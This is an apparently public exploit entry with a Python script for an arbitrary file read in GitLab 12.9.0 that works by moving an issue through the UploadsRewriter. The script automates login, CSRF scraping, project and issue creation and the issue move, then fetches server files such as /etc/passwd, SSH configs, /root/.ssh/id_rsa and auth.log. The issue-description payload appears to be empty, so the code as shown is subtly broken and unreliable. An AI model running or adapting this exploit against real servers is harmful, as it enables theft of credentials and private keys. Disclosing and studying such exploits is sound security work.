GitLab version 12.9.0 suffers from an arbitrary file read vulnerability.
cf73f52d03d76f7e24d3a491f13973ab# Exploit Title: GitLab 12.9.0 - Arbitrary File Read
# Google Dork: -
# Date: 2020-05-03
# Exploit Author: KouroshRZ
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Ubuntu 18.04 (but it's OS independent)
# CVE : -
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# Exploit Title: automated exploit for Arbitrary file read via the UploadsRewriter when moving and issue in private gitlab server
# Google Dork: -
# Date: 05/03/2020
# Exploit Author: KouroshRZ
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Ubuntu 18.04 (but it's OS independent)
# CVE : -
import requests
import json
from time import sleep
# For debugging
proxies = {
'http' : '127.0.0.1:8080',
'https' : '127.0.0.1:8080'
}
session = requests.Session()
# config
host = 'http[s]://<gitlab-address>'
username = '<you-gitlab-username>'
password = '<your-gitlab-password>'
lastIssueUrl = ""
def loginToGitLab(username, password):
initLoginUrl = '{}/users/sign_in'.format(host)
initLoginResult = session.get(initLoginUrl).text
temp_index_csrf_param_start = initLoginResult.find("csrf-param")
temp_index_csrf_param_end = initLoginResult.find("/>", temp_index_csrf_param_start)
csrf_param = initLoginResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]
temp_index_csrf_token_start = initLoginResult.find("csrf-token")
temp_index_csrf_token_end = initLoginResult.find("/>", temp_index_csrf_token_start)
csrf_token = initLoginResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]
# print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")
submitLoginUrl = '{}/users/auth/ldapmain/callback'.format(host)
submitLoginData = {
'utf8=' : '✓',
csrf_param : csrf_token,
'username' : username,
'password' : password,
}
submitLoginResult = session.post(submitLoginUrl, submitLoginData, allow_redirects=False)
if submitLoginResult.status_code == 302 and submitLoginResult.text.find('redirected') > -1:
print("[+] You'e logged in ...")
def createNewProject(projectName):
initProjectUrl = '{}/projects/new'.format(host)
initProjectResult = session.get(initProjectUrl).text
temp_index_csrf_param_start = initProjectResult.find("csrf-param")
temp_index_csrf_param_end = initProjectResult.find("/>", temp_index_csrf_param_start)
csrf_param = initProjectResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]
temp_index_csrf_token_start = initProjectResult.find("csrf-token")
temp_index_csrf_token_end = initProjectResult.find("/>", temp_index_csrf_token_start)
csrf_token = initProjectResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]
# print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")
tmp_index_1 = initProjectResult.find('{}/{}/\n'.format(host, username))
tmp_index_2 = initProjectResult.find('value', tmp_index_1)
tmp_index_3 = initProjectResult.find('type', tmp_index_2)
namespace = initProjectResult[tmp_index_2 + 7 : tmp_index_3 - 2]
createProjectUrl = '{}/projects'.format(host)
createProjectData = {
'utf8=' : '✓',
csrf_param : csrf_token,
'project[ci_cd_only]' : 'false',
'project[name]' : projectName,
'project[namespace_id]' : namespace,
'project[path]' : projectName,
'project[description]' : '',
'project[visibility_level]' : '0'
}
createProjectResult = session.post(createProjectUrl, createProjectData, allow_redirects=False)
if createProjectResult.status_code == 302:
print("[+] New Project {} created ...".format(projectName))
def createNewIssue(projectName, issueTitle, file):
global lastIssueUrl
initIssueUrl = '{}/{}/{}/-/issues/new'.format(host, username, projectName)
initIssueResult = session.get(initIssueUrl).text
temp_index_csrf_param_start = initIssueResult.find("csrf-param")
temp_index_csrf_param_end = initIssueResult.find("/>", temp_index_csrf_param_start)
csrf_param = initIssueResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]
temp_index_csrf_token_start = initIssueResult.find("csrf-token")
temp_index_csrf_token_end = initIssueResult.find("/>", temp_index_csrf_token_start)
csrf_token = initIssueResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]
# print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")
createIssueUrl = '{}/{}/{}/-/issues'.format(host , username, projectName)
createIssueData = {
'utf8=' : '✓',
csrf_param : csrf_token,
'issue[title]' : issueTitle,
'issue[description]' : ''.format(file),
'issue[confidential]' : '0',
'issue[assignee_ids][]' : '0',
'issue[label_ids][]' : '',
'issue[due_date]' : '',
'issue[lock_version]' : '0'
}
createIssueResult = session.post(createIssueUrl, createIssueData, allow_redirects=False)
if createIssueResult.status_code == 302:
print("[+] New issue for {} created ...".format(projectName))
tmp_index_1 = createIssueResult.text.find("href")
tmp_index_2 = createIssueResult.text.find("redirected")
lastIssueUrl = createIssueResult.text[tmp_index_1 + 6: tmp_index_2 - 2]
print("[+] url of craeted issue : {}\n".format(lastIssueUrl))
def moveLastIssue(source, destination, file):
# Get destination project ID
getProjectIdUrl = '{}/{}/{}'.format(host, username, destination)
getProjectIdResult = session.get(getProjectIdUrl).text
tmpIndex = getProjectIdResult.find('/search?project_id')
projectId = getProjectIdResult[tmpIndex + 19 : tmpIndex + 21]
#print("Project : {} ID ----> {}\n".format(destination, projectId))
# Get CSRF token for moving issue
# initIssueMoveUrl = '{}/{}/{}/-/issues/{}'.format(host, username, source, issue)
initIssueMoveUrl = lastIssueUrl
initIssueMoveResult = session.get(initIssueMoveUrl).text
temp_index_csrf_token_start = initIssueMoveResult.find("csrf-token")
temp_index_csrf_token_end = initIssueMoveResult.find("/>", temp_index_csrf_token_start)
csrf_token = initIssueMoveResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]
# print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")
# Move issue with associated CSRF token
# moveIssueUrl = "{}/{}/{}/-/issues/{}/move".format(host, username, source, issue)
moveIssueUrl = lastIssueUrl + "/move"
moveIssueData = json.dumps({
"move_to_project_id" : int(projectId)
})
headers = {
'X-CSRF-Token' : csrf_token,
'X-Requested-With' : 'XMLHttpRequest',
'Content-Type' : 'application/json;charset=utf-8'
}
moveIssueResult = session.post(moveIssueUrl, headers = headers, data = moveIssueData, allow_redirects = False)
if moveIssueResult.status_code == 500:
print("[!] Permission denied for {}".format(file))
else:
description = json.loads(moveIssueResult.text)["description"]
tmp_index = description.find("/")
fileUrl = "{}/{}/{}/{}".format(host, username, destination, description[tmp_index+1:-1])
print("[+] url of file {}: \n".format(f, fileUrl))
fileContentResult = session.get(fileUrl)
if fileContentResult.status_code == 404:
print("[-] No such file or directory : {}".format(f))
else:
print("[+] Content of file {} read from server ...\n\n".format(f))
print(fileContentResult.text)
print("\n****************************************************************************************\n")
if __name__ == "__main__":
loginToGitLab(username, password)
createNewProject("project_01")
createNewProject("project_02")
# Put the files you want to read from server here
# The files on server should have **4 or more permission (world readable files)
files = {
'/etc/passwd',
'/etc/ssh/sshd_config',
'/etc/ssh/ssh_config',
'/root/.ssh/id_rsa',
'/var/log/auth.log'
# ...
# ...
# ...
}
for f in files:
createNewIssue("project_01", "issue01_{}".format(f), f)
moveLastIssue("project_01", "project_02",f)
sleep(3)